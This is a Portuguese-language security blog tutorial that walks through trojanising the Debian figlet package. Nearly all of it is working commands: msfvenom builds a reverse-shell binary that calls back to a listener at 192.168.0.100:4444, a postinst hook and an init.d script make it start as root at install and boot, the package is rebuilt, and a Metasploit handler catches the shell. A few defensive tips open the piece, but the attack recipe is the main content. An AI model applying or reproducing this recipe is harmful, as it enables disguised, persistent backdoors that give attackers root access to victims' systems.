Como já é de conhecimento de todos um ataque criminoso ou um pentest não se limita apenas ao conhecimento técnico, mas principalmente pela criatividade e a abordagem utilizada pelo atacante.

Neste artigo eu mostro como um atacante pode utilizar um pacote .deb para incluir um arquivo malicioso.

Pontos de Atenção

  • Certifique-se que todos os Desktops e Servidores Linux que estão conectado a sua rede estejam com um EDR instalado.

  • Defina uma lista de softwares homologados para serem utilizadas em seu ambiente.

  • Certifique-se que todos os downloads são realizados de fontes confiáveis.

  • Monitore as conexões realizadas em sua rede.

  • Seja criativo! :D e utilize este exemplo para avaliar a segurança do seu ambiente.

01 - Passo

Crie e acesse o diretório pacotes-deb, em seguida gere um arquivo via msfvenom para realizar o Conexão Reversa.

Linux
mkdir pacotes-deb

cd pacotes-deb/

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f elf -o acesso-remoto

ls -l

02 - Passo

Para este exemplo realize o download do pacote FiGlet.

Linux
wget http://ftp.br.debian.org/debian/pool/main/f/figlet/figlet_2.2.5-3+b1_amd64.deb

03 - Passo

Execute o comando a seguir para extrair o conteúdo do pacote, em seguida acessa o diretório figlet e liste os diretórios.

Linux
dpkg -x figlet_2.2.5-3+b1_amd64.deb

cd figlet/

ls -l

04 - Passo

Copie o arquivo acesso-remoto para o diretório figlet/usr/bin, em seguida atribuía a permissão 777.

Linux
cd usr/bin/

cp ../../../acesso-remoto .

chmod 777 acesso-remoto

ls -l

05 - Passo

Retorne ao diretório figlet e cria o diretório DEBIAN, em seguida crie o arquivo control.

Linux
cd ../../

mkdir DEBIAN

cd DEBIAN/

vim control

06 - Passo

Insira este conteúdo no arquivo control.

Linux
Package: Modified
Version: 2.2.5-4
Section: Text
Priority: optional
Architecture: amd64
Maintainer: Acesso Remoto
Description: Falha de Seguranca

07 - Passo

Crie o arquivo postinst.

Linux
vim postinst

08 - Passo

Insira este conteúdo no arquivo postinst.

Linux
#!/bin/bash
chmod 777 /usr/share/figlet/acesso-remoto.sh
cp /usr/share/figlet/acesso-remoto.sh /etc/init.d/
update-rc.d acesso-remoto.sh defaults
./etc/init.d/acesso-remoto.sh start & 

09 - Passo

Acesse o diretório /usr/share/figlet/ e crie o arquivo acesso-remoto.sh, com o seguinte conteúdo :

### BEGIN INIT INFO
# Provides:          acesso-remoto
# Required-Start:    $remote_fs $syslog
# Required-Stop:     $remote_fs $syslog
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Iniciar/Finalizar a Conexao
# Description:       Falha de Seguranca
### END INIT INFO

PATH="/usr/bin"

case "$1" in
  start)
        echo -e "Conexao Iniciada\n"
        /usr/bin/acesso-remoto
 ;;
  stop)
        echo -e "Conexao Finalizada\n"
        kill -9 `ps -ef | grep -i 'acesso-remoto' | grep -v grep | awk '{print $2}'`
 ;;

  *)
        echo "Uso: /etc/init.d/acesso-remoto {start|stop}"
        exit 1
esac

exit 0

Arquivo acesso-remoto.sh.

10 - Passo

Retorne ao diretório /pacotes-deb/figlet/, altere as permissões do diretório DEBIAN para 755 e em seguida gere um novo pacote do figlet com as alterações realizadas "figlet.deb".

Linux
cd /pacotes-deb/figlet/

chmod -R 755 DEBIAN/

cd ..

dpkg-deb --build figlet/

ls -l

11 - Passo

Execute o msfconsole para preparar para a Conexão Reversa assim que o pacote figlet.deb for instalado na vítima.

Linux
msfconsole -q -x "use exploit/multi/handler;set PAYLOAD linux/x64/shell_reverse_tcp; set LHOST 192.168.0.100; set LPORT 4444; run" 

12 - Passo

No computador da vítima realize o download e instale o pacote figlet.

Linux
scp [email protected]:/pacotes-deb/figlet.deb .

dpkg -i figlet.deb

13 - Passo

Conexão Reversa estabelecida com sucesso!

Digite comando como : hostname, whoami, ls -l e etc.

Linux
hostname
webserver

whoami
root

ls -l

14 - Passo

Para melhorar sua navegação no servidor digite :

Linux
/bin/bash -i



  Autor

Marcos Henrique

 São Paulo/SP



  Ferramentas de Exploração

© 2021 - 100SECURITY

Contato